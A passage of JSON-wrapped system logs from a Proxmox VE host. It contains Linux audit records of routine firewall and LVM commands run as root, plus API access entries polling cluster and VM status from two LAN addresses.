a0=7fff8927fb60 a1=55ecbc14aed0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965272392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.392:64897): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.648:66230): argc=1 a0=\"date\""} {"@timestamp":1781966081845,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964495877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.877:61267): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d7a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58818 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965272382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.382:64894): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585643,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.643:66228): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966081845,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964495872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.872:61266): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14aed0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965267377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.377:64891): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585633,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.633:66227): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966079821,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964495867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.867:61265): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbe20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965267369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.369:64888): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585626,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.626:66226): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966079821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964495860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.860:61264): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.129:64885): arch=c000003e syscall=59 success=yes exit=0 a0=61ced885cb20 a1=61ced8868e00 a2=61ced8836680 a3=5 items=2 ppid=62330 pid=62336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585619,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.619:66225): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966079821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.853:61263): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.126:64884): arch=c000003e syscall=59 success=yes exit=0 a0=61ced778dac8 a1=7ffe4eabd6b0 a2=61ced8836680 a3=61ced777124e items=2 ppid=62330 pid=62332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585608,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.608:66224): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966078806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964495849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.849:61262): arch=c000003e syscall=59 success=yes exit=0 a0=5e4deac090a0 a1=5e4deac05e20 a2=5e4deabe7680 a3=5 items=2 ppid=58807 pid=58813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.125:64883): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4eabd670 a1=61ced88581c0 a2=61ced8836680 a3=5 items=2 ppid=62330 pid=62331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585596,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.596:66223): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966078806,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.846:61261): arch=c000003e syscall=59 success=yes exit=0 a0=5e4db9984ac8 a1=7fff39fc1cd0 a2=5e4deabe7680 a3=5e4db996824e items=2 ppid=58807 pid=58809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.120:64881): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139f10 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584252,"@rawstring":"node=pve type=EXECVE msg=audit(1781965584.252:66222): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966078806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1134"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.846:61260): arch=c000003e syscall=59 success=yes exit=0 a0=7fff39fc1c90 a1=5e4deabee310 a2=5e4deabe7680 a3=5 items=2 ppid=58807 pid=58808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266115,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.115:64880): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584229,"@rawstring":"node=pve type=EXECVE msg=audit(1781965584.229:66221): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966077003,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964495842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.842:61258): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.108:64879): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=EXECVE msg=audit(1781965583.561:66220): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966077003,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964495836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.836:61257): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.102:64878): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=EXECVE msg=audit(1781965583.547:66217): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966075783,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964495830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.830:61256): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.094:64877): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578536,"@rawstring":"node=pve type=EXECVE msg=audit(1781965578.536:66214): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966075783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964495825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.825:61255): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8abd650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.091:64876): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e1815bc4740 items=0 ppid=1156 pid=62325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=EXECVE msg=audit(1781965578.527:66211): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966075783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964495820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.820:61254): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.086:64875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0fce00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575577,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.577:66208): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966075783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.813:61253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.082:64874): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138af0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575562,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.562:66207): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966074787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781964494823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.823:61252): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e06e0 a1=64f8d73f08d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.077:64873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fe770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575554,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.554:66206): argc=1 a0=\"date\""} {"@timestamp":1781966073269,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964494793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.793:61251): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d7414a10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.071:64872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575541,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.541:66204): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966073269,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.586:61250): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.065:64871): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a9a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575527,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.527:66203): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966073269,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.575:61247): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.060:64870): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb75a72b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575517,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.517:66202): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966071741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.567:61244): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.052:64869): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575508,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.508:66201): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966071741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.558:61241): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.046:64868): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575499,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.499:66200): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966071741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964485803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.803:61238): arch=c000003e syscall=59 success=yes exit=0 a0=5edd5c4bad30 a1=5edd5c4c6af0 a2=5edd5c494680 a3=5 items=2 ppid=58787 pid=58793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.042:64867): arch=c000003e syscall=59 success=yes exit=0 a0=64c2d3e8fd70 a1=64c2d3e9bf40 a2=64c2d3e69680 a3=5 items=2 ppid=62311 pid=62317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575492,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.492:66198): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966070741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964485800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.800:61237): arch=c000003e syscall=59 success=yes exit=0 a0=5edd2dd2cac8 